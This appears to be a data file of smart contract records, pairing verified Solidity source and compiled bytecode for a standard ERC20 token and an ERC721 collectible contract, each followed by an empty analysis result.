6d206e6f6e2d7a65726f20746f206e6f6e2d7a65726f20616c6c6f77616e6365a265627a7a72315820503a73389e128db13fdaa64044bbdab080be5b4f533cb5a284ea8674ef0a054664736f6c63430005110032
{"success": true, "error": null, "results": {}}
10,712
0x255d578049b0cc729dcec2f12fa59867eb0ececb
/** *Submitted for verification at Etherscan.io on 2021-04-14 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.3; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @return the address of the owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner()); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract DAF is IERC20, Ownable, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][msg.sender]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, msg.sender, currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[msg.sender][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(msg.sender, spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function mint(address account, uint256 amount) public onlyOwner { _mint(account, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function burn(uint256 amount) public { _burn(msg.sender, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c806370a08231116100a257806395d89b411161007157806395d89b41146102a8578063a457c2d7146102c6578063a9059cbb146102f6578063dd62ed3e14610326578063f2fde38b146103565761010b565b806370a0823114610232578063715018a6146102625780638da5cb5b1461026c5780638f32d59b1461028a5761010b565b8063313ce567116100de578063313ce567146101ac57806339509351146101ca57806340c10f19146101fa57806342966c68146102165761010b565b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015e57806323b872dd1461017c575b600080fd5b610118610372565b604051610125919061154e565b60405180910390f35b610148600480360381019061014391906112e0565b610404565b6040516101559190611533565b60405180910390f35b61016661041b565b60405161017391906116b0565b60405180910390f35b61019660048036038101906101919190611291565b610425565b6040516101a39190611533565b60405180910390f35b6101b4610518565b6040516101c191906116cb565b60405180910390f35b6101e460048036038101906101df91906112e0565b610521565b6040516101f19190611533565b60405180910390f35b610214600480360381019061020f91906112e0565b6105bf565b005b610230600480360381019061022b919061131c565b6105de565b005b61024c6004803603810190610247919061122c565b6105eb565b60405161025991906116b0565b60405180910390f35b61026a610634565b005b610274610703565b6040516102819190611518565b60405180910390f35b61029261072c565b60405161029f9190611533565b60405180910390f35b6102b0610783565b6040516102bd919061154e565b60405180910390f35b6102e060048036038101906102db91906112e0565b610815565b6040516102ed9190611533565b60405180910390f35b610310600480360381019061030b91906112e0565b6108fb565b60405161031d9190611533565b60405180910390f35b610340600480360381019061033b9190611255565b610912565b60405161034d91906116b0565b60405180910390f35b610370600480360381019061036b919061122c565b610999565b005b60606004805461038190611814565b80601f01602080910402602001604051908101604052809291908181526020018280546103ad90611814565b80156103fa5780601f106103cf576101008083540402835291602001916103fa565b820191906000526020600020905b8154815290600101906020018083116103dd57829003601f168201915b5050505050905090565b60006104113384846109b6565b6001905092915050565b6000600354905090565b6000610432848484610b81565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ed906115f0565b60405180910390fd5b61050c853385846105079190611758565b6109b6565b60019150509392505050565b60006012905090565b60006105b5338484600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105b09190611702565b6109b6565b6001905092915050565b6105c761072c565b6105d057600080fd5b6105da8282610df8565b5050565b6105e83382610f41565b50565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61063c61072c565b61064557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b60606005805461079290611814565b80601f01602080910402602001604051908101604052809291908181526020018280546107be90611814565b801561080b5780601f106107e05761010080835404028352916020019161080b565b820191906000526020600020905b8154815290600101906020018083116107ee57829003601f168201915b5050505050905090565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156108da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108d190611670565b60405180910390fd5b6108f0338585846108eb9190611758565b6109b6565b600191505092915050565b6000610908338484610b81565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6109a161072c565b6109aa57600080fd5b6109b38161110b565b50565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1d90611650565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8d906115b0565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610b7491906116b0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610bf1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be890611630565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5890611570565b60405180910390fd5b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610ce8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cdf906115d0565b60405180910390fd5b8181610cf49190611758565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d869190611702565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610dea91906116b0565b60405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5f90611690565b60405180910390fd5b8060036000828254610e7a9190611702565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ed09190611702565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610f3591906116b0565b60405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa890611610565b60405180910390fd5b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611038576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102f90611590565b60405180910390fd5b81816110449190611758565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600360008282546110999190611758565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110fe91906116b0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561114557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008135905061121181611ba5565b92915050565b60008135905061122681611bbc565b92915050565b60006020828403121561123e57600080fd5b600061124c84828501611202565b91505092915050565b6000806040838503121561126857600080fd5b600061127685828601611202565b925050602061128785828601611202565b9150509250929050565b6000806000606084860312156112a657600080fd5b60006112b486828701611202565b93505060206112c586828701611202565b92505060406112d686828701611217565b9150509250925092565b600080604083850312156112f357600080fd5b600061130185828601611202565b925050602061131285828601611217565b9150509250929050565b60006020828403121561132e57600080fd5b600061133c84828501611217565b91505092915050565b61134e8161178c565b82525050565b61135d8161179e565b82525050565b600061136e826116e6565b61137881856116f1565b93506113888185602086016117e1565b611391816118a4565b840191505092915050565b60006113a96023836116f1565b91506113b4826118b5565b604082019050919050565b60006113cc6022836116f1565b91506113d782611904565b604082019050919050565b60006113ef6022836116f1565b91506113fa82611953565b604082019050919050565b60006114126026836116f1565b915061141d826119a2565b604082019050919050565b60006114356028836116f1565b9150611440826119f1565b604082019050919050565b60006114586021836116f1565b915061146382611a40565b604082019050919050565b600061147b6025836116f1565b915061148682611a8f565b604082019050919050565b600061149e6024836116f1565b91506114a982611ade565b604082019050919050565b60006114c16025836116f1565b91506114cc82611b2d565b604082019050919050565b60006114e4601f836116f1565b91506114ef82611b7c565b602082019050919050565b611503816117ca565b82525050565b611512816117d4565b82525050565b600060208201905061152d6000830184611345565b92915050565b60006020820190506115486000830184611354565b92915050565b600060208201905081810360008301526115688184611363565b905092915050565b600060208201905081810360008301526115898161139c565b9050919050565b600060208201905081810360008301526115a9816113bf565b9050919050565b600060208201905081810360008301526115c9816113e2565b9050919050565b600060208201905081810360008301526115e981611405565b9050919050565b6000602082019050818103600083015261160981611428565b9050919050565b600060208201905081810360008301526116298161144b565b9050919050565b600060208201905081810360008301526116498161146e565b9050919050565b6000602082019050818103600083015261166981611491565b9050919050565b60006020820190508181036000830152611689816114b4565b9050919050565b600060208201905081810360008301526116a9816114d7565b9050919050565b60006020820190506116c560008301846114fa565b92915050565b60006020820190506116e06000830184611509565b92915050565b600081519050919050565b600082825260208201905092915050565b600061170d826117ca565b9150611718836117ca565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561174d5761174c611846565b5b828201905092915050565b6000611763826117ca565b915061176e836117ca565b92508282101561178157611780611846565b5b828203905092915050565b6000611797826117aa565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156117ff5780820151818401526020810190506117e4565b8381111561180e576000848401525b50505050565b6000600282049050600182168061182c57607f821691505b602082108114156118405761183f611875565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b611bae8161178c565b8114611bb957600080fd5b50565b611bc5816117ca565b8114611bd057600080fd5b5056fea26469706673582212201a697c65aead6ad5f9836259fd66dc426703412485020c5680e502e6ffebda4b64736f6c63430008030033
{"success": true, "error": null, "results": {}}
10,713
0x31A1c018C48Db1Ad0775930ec4A78FA46285cddC
/** *Submitted for verification at Etherscan.io on 2021-03-27 */ pragma solidity ^0.5.0; contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = msg.sender; _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(isOwner()); _; } function isOwner() public view returns (bool) { return msg.sender == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC165 { function supportsInterface(bytes4 interfaceId) external view returns (bool); } contract ERC165 is IERC165 { bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { _registerInterface(_INTERFACE_ID_ERC165); } function supportsInterface(bytes4 interfaceId) external view returns (bool) { return _supportedInterfaces[interfaceId]; } function _registerInterface(bytes4 interfaceId) internal { require(interfaceId != 0xffffffff); _supportedInterfaces[interfaceId] = true; } } contract IERC721Receiver { function onERC721Received(address operator, address from, uint256 tokenId, bytes memory data) public returns (bytes4); } contract IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); function balanceOf(address owner) public view returns (uint256 balance); function ownerOf(uint256 tokenId) public view returns (address owner); function safeTransferFrom(address from, address to, uint256 tokenId) public; function transferFrom(address from, address to, uint256 tokenId) public; function approve(address to, uint256 tokenId) public; function getApproved(uint256 tokenId) public view returns (address operator); function setApprovalForAll(address operator, bool _approved) public; function isApprovedForAll(address owner, address operator) public view returns (bool); function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public; } contract ERC721 is ERC165, IERC721 { bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; mapping (uint256 => address) private _tokenOwner; mapping (uint256 => address) private _tokenApprovals; mapping (address => uint256) private _ownedTokensCount; mapping (address => mapping (address => bool)) private _operatorApprovals; constructor () public { _registerInterface(_INTERFACE_ID_ERC721); } function balanceOf(address owner) public view returns (uint256) { require(owner != address(0)); return _ownedTokensCount[owner]; } function ownerOf(uint256 tokenId) public view returns (address) { address owner = _tokenOwner[tokenId]; require(owner != address(0)); return owner; } function approve(address to, uint256 tokenId) public { address owner = ownerOf(tokenId); require(to != owner); require(msg.sender == owner || isApprovedForAll(owner, msg.sender)); _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } function getApproved(uint256 tokenId) public view returns (address) { require(_exists(tokenId)); return _tokenApprovals[tokenId]; } function setApprovalForAll(address to, bool approved) public { require(to != msg.sender); _operatorApprovals[msg.sender][to] = approved; emit ApprovalForAll(msg.sender, to, approved); } function isApprovedForAll(address owner, address operator) public view returns (bool) { return _operatorApprovals[owner][operator]; } function transferFrom(address from, address to, uint256 tokenId) public { require(_isApprovedOrOwner(msg.sender, tokenId)); _transferFrom(from, to, tokenId); } function safeTransferFrom(address from, address to, uint256 tokenId) public { safeTransferFrom(from, to, tokenId, ""); } function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public { require(_isApprovedOrOwner(msg.sender, tokenId)); _safeTransferFrom(from, to, tokenId, _data); } function _safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) internal { _transferFrom(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data)); } function _exists(uint256 tokenId) internal view returns (bool) { address owner = _tokenOwner[tokenId]; return owner != address(0); } function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) { require(_exists(tokenId)); address owner = ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } function _safeMint(address to, uint256 tokenId) internal { _safeMint(to, tokenId, ""); } function _safeMint(address to, uint256 tokenId, bytes memory _data) internal { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data)); } function _mint(address to, uint256 tokenId) internal { require(to != address(0)); require(!_exists(tokenId)); _tokenOwner[tokenId] = to; _ownedTokensCount[to]++; emit Transfer(address(0), to, tokenId); } function _transferFrom(address from, address to, uint256 tokenId) internal { require(ownerOf(tokenId) == from); require(to != address(0)); _clearApproval(tokenId); _ownedTokensCount[from]--; _ownedTokensCount[to]++; _tokenOwner[tokenId] = to; emit Transfer(from, to, tokenId); } function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) internal returns (bool) { if (!isContract(to)) { return true; } (bool success, bytes memory returndata) = to.call(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, msg.sender, from, tokenId, _data )); if (!success) { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert("ERC721: transfer to non ERC721Receiver implementer"); } } else { bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } } function _clearApproval(uint256 tokenId) private { if (_tokenApprovals[tokenId] != address(0)) { _tokenApprovals[tokenId] = address(0); } } function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } } contract Token is Ownable, ERC721{ //----------------- // ERC721 & Ownable //----------------- constructor() Ownable() ERC721() public { } //----------------- // Metadata //----------------- string private _contract_meta_uri = "https://hakumai-iida.s3-ap-northeast-1.amazonaws.com/fcic/contract.json"; string private _token_meta_prefix = "https://hakumai-iida.s3-ap-northeast-1.amazonaws.com/fcic/json/meta_"; string private _token_meta_postfix = ".json"; function setTokenMetaPrefix( string calldata prefix ) external onlyOwner { _token_meta_prefix = prefix; } function setTokenMetaPostfix( string calldata postfix ) external onlyOwner { _token_meta_postfix = postfix; } function setContractMetaUri( string calldata uri ) external onlyOwner { _contract_meta_uri = uri; } function name() external pure returns (string memory){ return( "Four Character Idiomatic Compounds" ); } function symbol() external pure returns (string memory){ return( "FCIC" ); } function tokenURI( uint256 tokenId ) external view returns (string memory){ bytes memory bufPre = bytes( _token_meta_prefix ); uint256 lenPre = bufPre.length; bytes memory bufPost = bytes( _token_meta_postfix ); uint256 lenPost = bufPost.length; uint256 len = 1; uint256 temp = tokenId; while( temp >= 10 ){ temp = temp / 10; len++; } bytes memory buf = new bytes(lenPre + len + lenPost); for( uint256 i=0; i<lenPre; i++ ){ buf[i] = bufPre[i]; } temp = tokenId; for( uint256 i=0; i<len; i++ ){ uint8 c = uint8(48 + (temp%10)); buf[lenPre + len-(i+1)] = byte(c); temp /= 10; } for( uint256 i=0; i<lenPost; i++ ){ buf[lenPre + len + i] = bufPost[i]; } return( string(buf) ); } function contractURI() external view returns (string memory) { return( _contract_meta_uri ); } //----------------- // Token //----------------- uint256[] private _seeds; function totalSupply() external view returns (uint256) { return( _seeds.length ); } function seed( uint256 tokenId ) external view returns (uint256) { return( _seeds[tokenId] ); } function mintTokens( uint256 ofs, uint256 num, uint256[] calldata seeds ) external onlyOwner { require( ofs == _seeds.length ); require( num == seeds.length ); for( uint256 i=0; i<num; i++ ){ uint256 id = _seeds.length; _seeds.length++; _seeds[id] = seeds[i]; _mint( msg.sender, id ); } } function withdraw( uint256 value ) external onlyOwner { msg.sender.transfer( value ); } }
